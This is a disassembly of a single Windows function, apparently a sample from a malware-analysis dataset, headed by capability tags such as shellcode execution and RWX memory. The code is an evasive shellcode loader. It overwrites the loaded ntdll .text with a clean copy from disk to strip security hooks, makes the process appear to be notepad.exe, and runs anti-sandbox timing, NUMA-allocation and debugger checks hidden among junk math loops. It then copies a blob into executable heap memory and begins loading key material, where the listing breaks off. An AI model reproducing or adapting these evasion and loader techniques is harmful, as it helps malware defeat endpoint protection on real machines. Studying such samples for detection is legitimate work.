Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x888
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7f0], xmm6
mov dword [rbp + 0x830], ecx
mov qword [rbp + 0x838], rdx
call fcn.140002db0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x7ec], 0xffffffff
mov ecx, 0x1d30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
add dword [rbp + 0x7ec], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x760]
add rax, rdx
movsd xmm1, qword [0x1400065d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x760]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x760]
add rax, rdx
movq xmm1, qword [0x1400065e0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x7ec], 0x3a4
jle 0x1400014cb
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x7e8], 0xffffffff
mov ecx, 0xc58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0xc58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
add dword [rbp + 0x7e8], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x750]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x748]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ee0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e8], 0x189
jle 0x1400015b7
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e0], rax
cmp qword [rbp + 0x7e0], 0
jne 0x140001706
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x7dc], 0x276
jmp 0x140001719
sub dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x1c
jg 0x140001712
cmp qword [rbp + 0x7e0], 0
je 0x140001e96
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
mov rax, qword [rbp + 0x758]
mov r10, qword [rbp + 0x7e0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x740], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x730], rax
mov ecx, 0x13c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov ecx, 0x13c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov ecx, 0x13c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7d8], 0
jmp 0x1400018fe
mov dword [rbp + 0x7d4], 0
jmp 0x1400018ea
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d8]
cdqe
imul rcx, rax, 0x5c
mov rax, qword [rbp + 0x728]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d8]
cdqe
imul rcx, rax, 0x5c
mov rax, qword [rbp + 0x720]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x16
jle 0x14000183f
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x36
jle 0x140001830
mov dword [rbp + 0x7d8], 0
jmp 0x1400019aa
mov dword [rbp + 0x7d4], 0
jmp 0x14000199a
mov eax, dword [rbp + 0x7d8]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x728]
add rdx, rax
mov eax, dword [rbp + 0x7d4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d8]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x720]
add rdx, rax
mov eax, dword [rbp + 0x7d4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d8]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x718]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x16
jle 0x140001926
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x36
jle 0x14000191a
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x720]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x730]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x7cc], 1
jmp 0x140001ad4
mov dword [rbp + 0x7d0], 0
mov eax, dword [rbp + 0x7cc]
mov dword [rbp + 0x7c8], eax
jmp 0x140001aaa
mov edx, dword [rbp + 0x7c8]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x6dc], edx
mov eax, dword [rbp + 0x6dc]
imul eax, eax
imul eax, dword [rbp + 0x6dc]
add dword [rbp + 0x7d0], eax
mov eax, dword [rbp + 0x7c8]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7c8], eax
cmp dword [rbp + 0x7c8], 0
jne 0x140001a3f
mov eax, dword [rbp + 0x7d0]
cmp eax, dword [rbp + 0x7cc]
jne 0x140001acd
mov eax, dword [rbp + 0x7cc]
mov dword [rbp + 0x6e0], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x8e
jle 0x140001a27
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x740]
add rax, rdx
mov qword [rbp + 0x700], rax
mov word [rbp + 0x7c6], 0
jmp 0x140001e7e
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x700]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7c6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001e6d
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x6f4], 0x35e
mov dword [rbp + 0x6f0], 0x1af
mov eax, dword [rbp + 0x6f4]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x7c0], 0
jmp 0x140001be9
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
mov dword [rdx], eax
add dword [rbp + 0x7c0], 1
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x6f0]
jl 0x140001bc0
mov dword [rbp + 0x7c0], 1
jmp 0x140001c7b
mov eax, dword [rbp + 0x7c0]
mov dword [rbp + 0x7bc], eax
jmp 0x140001c52
mov edx, dword [rbp + 0x7c0]
mov eax, dword [rbp + 0x7bc]
add edx, eax
mov eax, dword [rbp + 0x7c0]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x7bc]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x7bc], 1
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x7c0]
mov edx, dword [rbp + 0x7c0]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x7bc], eax
jle 0x140001c11
add dword [rbp + 0x7c0], 1
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x6f0]
jl 0x140001c03
cmp dword [rbp + 0x6f4], 2
jle 0x140001cbf
mov eax, dword [rbp + 0x7b8]
lea edx, [rax + 1]
mov dword [rbp + 0x7b8], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x7c0], 1
jmp 0x140001d23
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001d1c
mov eax, dword [rbp + 0x7c0]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x7b8]
lea edx, [rax + 1]
mov dword [rbp + 0x7b8], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x7c0], 1
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x6f0]
jl 0x140001ccb
mov dword [rbp + 0x6e4], 2
mov dword [rbp + 0x7b4], 0
mov dword [rbp + 0x7c0], 0
jmp 0x140001d7f
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001d78
add dword [rbp + 0x7b4], 1
add dword [rbp + 0x7c0], 1
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x6e4]
jl 0x140001d51
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x578], 0
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x710]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x578]
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7c6]
add eax, 1
mov word [rbp + 0x7c6], ax
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7c6], ax
jb 0x140001b1e
mov dword [rbp + 0x6d8], 0
mov ecx, 0x708
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0x708
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x708
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x7b0], 0
jmp 0x140001fcc
mov dword [rbp + 0x7ac], 0
jmp 0x140001fb8
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7b0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x6d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7ac]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7b0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x6c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7ac]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x11
jle 0x140001ef1
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x18
jle 0x140001ee2
mov dword [rbp + 0x7b0], 0
jmp 0x1400020c4
mov dword [rbp + 0x7ac], 0
jmp 0x1400020b0
mov eax, dword [rbp + 0x7b0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6d0]
add rdx, rax
mov eax, dword [rbp + 0x7ac]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7b0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
mov eax, dword [rbp + 0x7ac]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003da0
mov eax, dword [rbp + 0x7b0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x7ac]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x11
jle 0x140001ff7
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0x18
jle 0x140001fe8
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x1a78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x7a8], 0
jmp 0x140002169
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movsd xmm1, qword [0x1400065d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x34e
jle 0x14000211b
mov dword [rbp + 0x7a8], 0
jmp 0x1400021d0
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movq xmm1, qword [0x1400065e0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x34e
jle 0x140002181
mov dword [rbp + 0x57c], 0
mov rax, qword [rbp + 0x770]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x7a4], 0xffffffff
mov ecx, 0x1760
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
add dword [rbp + 0x7a4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7a4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7a4], 0x2ea
jle 0x140002222
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x57c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x588]
add rax, 0x3c
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x698], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2325a80
mov ecx, 0
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x140002ce4
mov rax, qword [rbp + 0x698]
mov edx, 0x2325a80
mov rcx, rax
call fcn.1400041a0
mov rax, qword [rbp + 0x698]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
je 0x140002ce4
mov rax, qword [rbp + 0x688]
mov edx, 0x4e7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x684], eax
mov ecx, 0x7ca
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x7ca
jne 0x140002ce4
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x678], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x670]
mov r9d, 0x3000
mov r8d, 0x311
mov edx, 0
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x140002ce4
mov qword [rbp + 0x798], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
je 0x140002562
mov rax, qword [rbp + 0x668]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x660]
mov r9d, 0x3000
mov r8d, 0x36a
mov edx, 0
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
je 0x140002ce4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
call rax
mov dword [rbp + 0x654], eax
mov ecx, 0x2e4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x658]
call rax
mov dword [rbp + 0x650], eax
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x654]
cmp eax, 0x2b2
jbe 0x140002ce4
mov qword [rbp + 0x648], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x640]
mov r9d, 0x3000
mov r8d, 0x4a6
mov edx, 0
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x140002ce4
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x140002ce4
mov rax, qword [rbp + 0x638]
mov edx, 0x5bd
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x634], eax
mov dword [rbp + 0x574], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x574]
mov r8, qword [rbp + 0x628]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x574]
cmp eax, 1
je 0x140002ce4
mov qword [rbp + 0x620], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x618]
mov r9d, 0x3000
mov r8d, 0x2f8
mov edx, 0
call rax
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
je 0x140002ce4
lea rax, [rbp + 0xe0]
lea rdx, [0x140006138]
mov ecx, 0x91
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x768]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x610]
mov r8d, 0
mov edx, 0x48b
mov ecx, 0x40000
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
mov r9, qword [rbp + 0x608]
mov r8d, 0x48b
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x5f0]
mov r8d, 0x48b
mov rcx, rax
call r9
mov dword [rbp + 0x794], 0
mov dword [rbp + 0x790], 0
mov dword [rbp + 0x78c], 0
movabs rax, 0x5afb4aa02d25737e
movabs rdx, 0x11c54335e6ec6d94
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x135e93f0bb97de24
movabs rdx, 0x1b05b20dbaa4ed64
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x9ecf05d5665722da
movabs rdx, 0x87db6b823a5c7dce
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x70c33663584f7063
